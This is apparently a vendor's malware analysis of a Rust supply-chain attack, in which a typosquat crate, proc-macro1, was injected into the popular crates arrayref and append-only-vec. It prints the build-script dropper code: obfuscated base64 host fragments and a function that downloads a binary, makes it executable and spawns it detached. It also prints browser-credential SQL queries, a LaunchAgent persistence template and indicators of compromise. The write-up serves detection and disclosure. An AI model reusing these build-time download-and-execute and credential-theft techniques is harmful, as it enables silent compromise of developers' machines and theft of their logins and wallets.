On August 20, we detected two popular Rust crates from the same maintainer, append-only-vec (4M downloads) and arrayref (244M downloads), were compromised. The attacker added a malicious dependency on a package called proc-macro1, which downloads a remote payload during the build and executes it on the developer's machine. Because the dependency runs at build time, simply compiling a project that pulls in either crate is enough to trigger the infection, with no need to call any of the crate's actual functionality. This is considerably more significant than the previous Onering crate compromise we covered in June. This time the blast radius is much larger, making it the largest Rust crate compromise we have seen by download count.
What happened
We first caught proc-macro1 in our pipeline as a new package doing something suspicious, downloading a remote file and executing it. The name is a typosquat of proc-macro2, one of the most widely used crates in the Rust ecosystem, and the package copies the real crate's description, author name, and documentation to pass as the genuine project. Given the low download count, we did not think much of it at first. However, within the same hour we then saw two popular packages from the maintainer of append-only-vec and arrayref suddenly depend on proc-macro1. That is what turned a regular typosquat into a real supply chain incident.
The two compromised crates are clean at first sight. Their library source is the genuine upstream code, and neither crate references proc-macro1 anywhere in its source. The entire compromise is a single injected line in each manifest:
[dependencies]
proc-macro1 = "1.0.107"The malicious logic lives entirely in the build.rs file of proc-macro1, which Cargo compiles and runs automatically during a build. The build script hides its network destination as base64 fragments to evade string scanners:
// SRC decodes to https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
// END decodes to 23[.]254[.]165[.]112:443
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];At build time it selects a payload for the victim's exact operating system and CPU architecture (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64), then downloads it over HTTPS with a plain GET request. On Unix and macOS it writes the downloaded bytes to disk, marks the file executable, and spawns it detached with its output suppressed:
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
// chmod +x /tmp/rust-setup
Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
// execute detached, handing it the second address (23[.]254[.]165[.]112:443)
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}On Windows it writes a PowerShell script and launches it hidden through a wscript and .vbs launcher, a technique the code's own comment notes is chosen to escape Cargo's job object so the spawned process keeps running after the build finishes.
We also detected a similar malicious package called proc-macro-en, published under the author name daveroundy. That author name mimics droundy, the legitimate maintainer of append-only-vec and arrayref, which suggests the attacker was building out additional lookalike packages and impersonating the same maintainer to lend them credibility.
The payload
We obtained two of the four platform builds, the Linux x86_64 ELF (rust-crate_0.1.0) and the macOS aarch64 Mach-O (rust-crate_0.4.0). The Windows PowerShell sample we received was a zero byte file, so it carried no content to analyze. Both native binaries are Rust executables, and both are the same malware family compiled for different targets.
Its command and control server is not hardcoded in the binary. Instead the binary reads it from the command line argument it was launched with, which is exactly the second address (23[.]254[.]165[.]112:443) that the build.rs dropper passes when it spawns the payload. So the IP is an indicator of this attack, and the same binary could be reused in the future with a different C2.
We confirmed this in the macOS build by disassembly. The stealer reads its own process arguments through _NSGetArgc and _NSGetArgv, collects them into a list, and later feeds a host value into a URL building path: https://{host}/49890878.
Infostealer
The payload contains an infostealer that goes after credentials stored by Chromium based browsers. The macOS build references the profile locations for Google Chrome, Brave, and Microsoft Edge, and carries embedded SQL that reads saved credentials straight out of the browser's login database:
SELECT DISTINCT origin_url FROM logins WHERE origin_url IS NOT NULL ...
SELECT DISTINCT username_value FROM logins WHERE username_value IS NOT NULL ...It also references browser extension storage (Local Extension Settings), which is where many browser based cryptocurrency wallets keep their data, so the collection scope covers both saved logins and wallet material.
Persistence
On macOS, the build embeds a LaunchAgent property list template and the Library/LaunchAgents path component, together with a RunAtLoad key. The template is filled in at runtime, and it is set up to run a shell command through /bin/zsh -c.
We recovered the embedded template. The Label and the command string are placeholders that are populated when the agent is written to disk:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>x</string>
<key>ProgramArguments</key>
<array>
<string>/bin/zsh</string>
<string>-c</string>
<string>D</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>The presence of this template and the Library/LaunchAgents path is strong evidence that the payload is set up to install a user level LaunchAgent for persistence.
Command and control
We have strong evidence the payload also contains a lightweight remote command runner. After it starts, it performs a registration check-in with the server, sending a structured set of fields that identify the infected machine, including an id, the primary URL, and basic host details such as os_type, os_ver, os_arch, platform_ver, app, and email. The server can then reply with tasks, and the payload hands it to an internal dispatcher. The dispatcher supports a small fixed set of commands. The names we recovered are minicfg, startup, runscript, Shell, and ShellX. The runscript, Shell, and ShellX are the execution commands. We also found a timed wait primitive, which indicates the payload likely polls the C2 server on an interval to check for new commands rather than contacting it just once.
How Aikido detects this
If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.
If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.
For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.
For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.
Indicators of compromise
Affected packages
proc-macro-en1.0.10 (malicious dependency)proc-macro11.0.107 (malicious dependency)append-only-vec0.1.9, compromised (4,484,606 downloads)arrayref0.3.10, compromised (244,989,384 downloads)
Network indicators
23[.]254[.]165[.]112:9089- Payload delivery host23[.]254[.]165[.]112:443- C2 host passed as an argument to the executed payload
File indicators
The payload binaries proc-macro1 downloads, dropped to /tmp/rust-setup on Linux and macOS:
rust-crate_0.1.0(Linux x86_64 ELF)- SHA-256:
408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
- SHA-256:
rust-crate_0.4.0(macOS aarch64 Mach-O)- SHA-256:
74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
- SHA-256:

